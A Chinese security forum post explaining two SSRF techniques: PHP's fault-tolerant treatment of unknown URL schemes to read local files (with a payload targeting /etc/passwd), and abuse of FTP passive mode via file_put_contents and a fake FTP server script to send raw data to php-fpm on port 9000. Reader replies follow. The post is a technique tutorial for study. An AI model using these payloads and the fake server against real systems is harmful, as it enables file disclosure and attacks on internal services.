用户
搜索
  • TA的每日心情
    开心
    前天 22:47
  • 签到天数: 61 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    2

    主题

    21

    帖子

    839

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-8-20

    i春秋签约作者春秋文阁

    发表于 2021-1-28 18:27:24 108704
    本帖最后由 HhhM 于 2021-1-28 18:29 编辑

    分享的是ssrf中两个比较新颖的点,一个关于php容错特性,而另一个则是关于ftp协议的被动模式;这两个问题是我在i春秋年夜饭分享议题时提到的,现在再详细写写。

    容错特性

    我先甩出关于容错特性的一个概述:(php的容错特性)当有一个不存在的协议,即无法被成功解析,如hhhm://,将其放入file_get_contents中,会发现其报错,而究其所以是将这个自定义的协议置为null,而php中当协议为null或者file时会进行本地文件读取,也就是说我们可以当做进行本地文件的操作。

    本地放一段代码:

    <?php
    include($_GET['1']);

    传参:

    ?1=httpss://../index.html

    会发现报了两行错:

    Warning: include(): Unable to find the wrapper "httpss" - did you forget to enable it when you configured PHP? in /Applications/phpstudy/WWW/index.php on line 2
    
    Warning: include(): Unable to find the wrapper "httpss" - did you forget to enable it when you configured PHP? in /Applications/phpstudy/WWW/index.php on line 2
    

    如上图,尽管报错但是我们包含的页面依旧成功包含了进去,事实上这里就是找不到httpss这个协议,因此把这个协议置为null,然后进行本地文件操作(index.html与当前文件事实上是处于同一个目录的),然后将httpss:这一串当成一个文件夹or文件,因此我们需要进行回退一层然后再读取才能读到处于当前目录下的文件。

    关于这个漏洞的利用我给出一段代码:

    function getCss($host,$html){
    preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches);
    foreach($matches[1] as $v){
    $cssurl = $v;
    if(strpos($v,'http://') == false){
    $cssurl = $host."/".$v;
    }
    $csshtml = "<style>".file_get_contents($cssurl)."</style>";
    $html .= $csshtml;
    }
    return $html; }
    

    分析代码会发现这个正则会去匹配link,然后从href中提取出css的链接,然后利用file_get_contents去获取css文件的内容最后返回,其中host在没给出的代码中,host事实上就是服务器的ip,因此当链接中不存在http://时就会将当前网站的ip拼接到提取出来的css链接中,因此直接利用file协议来读取文件的做法是无法生效的,而利用容错特性可以直接进行本地文件操作,而http://的限制只需要使用shttp://来绕过即可,因此最终的payload:

    <link rel="stylesheet" type="text/css" href="shttp:///../.css/../../../../../../
    etc/passwd" />

    再说一下这个容错特性,事实上不止上面说到的include或者file_get_contents,笔者略微测试之后show_source,highlight_file以及其他几个文件读取的函数其实都有这个特性,因此利用面其实还是挺广泛的。

    file_put_content&ftp

    先来看一段很简短的代码:

    <?php
    $file = $_GET['file'] ?? '/tmp/file';
    $data = $_GET['data'] ?? ':)';
    file_put_contents($file, $data);
    echo file_get_contents($file);

    如果权限够的话即可以任意文件写也可以读,那这里就是皆大欢喜,但如果权限限死了,只能在tmp目录写文件的同时也只能读部分文件,然而到这里其实还没死路;如果php是以php-fpm挂载在本地9000端口的话,其实是能够打到的,以传统的gopher打fastcgi来看在这里是行不通的,因为gopher协议需要有curl。

    利用点在于file_put_contents这个函数,而所需要的协议就是ftp,这个协议在传输文件时经常见到,这个协议相对来说是有些复杂的,其实ftp有主动和被动模式:

    FTP有两种使用模式:主动和被动。主动模式要求客户端和服务器端同时打开并且监听一个端口以创建连接。在这种情况下,客户端由于安装了防火墙会产生一些问题。所以,创立了被动模式。被动模式只要求服务器端产生一个监听相应端口的进程,这样就可以绕过客户端安装了防火墙的问题。

    而事实上除了端口,服务器的地址也可以指定,而指定了服务器的地址端口,也就意味着可以使用类似于rogue redis  server一样的的方式伪造响应包,以此来配合被动模式传输数据,并且使用ftp协议时在传输数据会跟gopher协议很像,会将数据原封不动的传到目标机器端口上的服务,也就是说利用这一特点可以做到gopher能做的事情,而对于我上面说的环境而言就是攻击挂载在9000端口的fastcgi了。

    关于ftp返回码:https://blog.csdn.net/wangzhufei/article/details/86177015

    截取上图部分:

    其中需要了解的是227响应码:

    227    Entering Passive Mode <h1,h2,h3,h4,p1,p2>.

    用他来进入被动模式,h和p分别为地址和端口fake ftp脚本:

    import socket
    host = '0.0.0.0'
    port = 1992
    sk = socket.socket()
    sk.bind((host, port))
    sk.listen(5)
    
    conn,address = sk.accept()
    conn.send("220 a\n");
    conn.send("331 a\n");
    conn.send("230 a\n")
    conn.send("200 a\n");
    conn.send("550 a\n");
    conn.send("227 127,0,0,1,0,9000\n")
    conn.send("227 127,0,0,1,0,9000\n")
    conn.send("150\n")
    conn.close()

    本机监听9000端口来观察数据包,简单的发个post包来观察结果:

    http://127.0.0.1/?file=ftp://127.0.0.1:1992/aaa&data=POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Aa%3Dtest%0D%0A

    结果如图:

    其实到这一步很明显的后续gopher能做的时使用ftp基本上都能做到了(如攻击内网的redis,mysql以及上面说到的fastcgi等等。

    发表于 2021-1-29 10:21:25
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    HhhM表哥,ddddhm……
    使用道具 举报 回复
    发表于 2021-1-29 11:26:59
    file_get_contents()不是本来就是来读取本地文件内容的吗
    使用道具 举报 回复
    刚知道ftp还能用于攻击redis,学习了
    使用道具 举报 回复
    大表哥太强了,好好学习天天向上。
    使用道具 举报 回复
    发表于 2021-1-30 11:32:50
    使用道具 举报 回复
    发表于 2021-1-30 11:33:47

    使用道具 举报 回复
    发表于 2021-1-30 11:35:03
    aptxxoo 发表于 2021-1-29 11:26
    file_get_contents()不是本来就是来读取本地文件内容的吗

    他也可以用来读取远程文件,如果过滤的不严谨,就可以绕过用来读取本地文件
    使用道具 举报 回复
    发表于 2021-1-30 11:35:34
    皮卡丘是也 发表于 2021-1-29 11:28
    刚知道ftp还能用于攻击redis,学习了

    嗯,但现实来说这种利用场景可能相对较少
    使用道具 举报 回复
    发表于 2021-1-30 11:35:51
    白帽子是假的 发表于 2021-1-29 14:11
    大表哥太强了,好好学习天天向上。

    共同进步
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册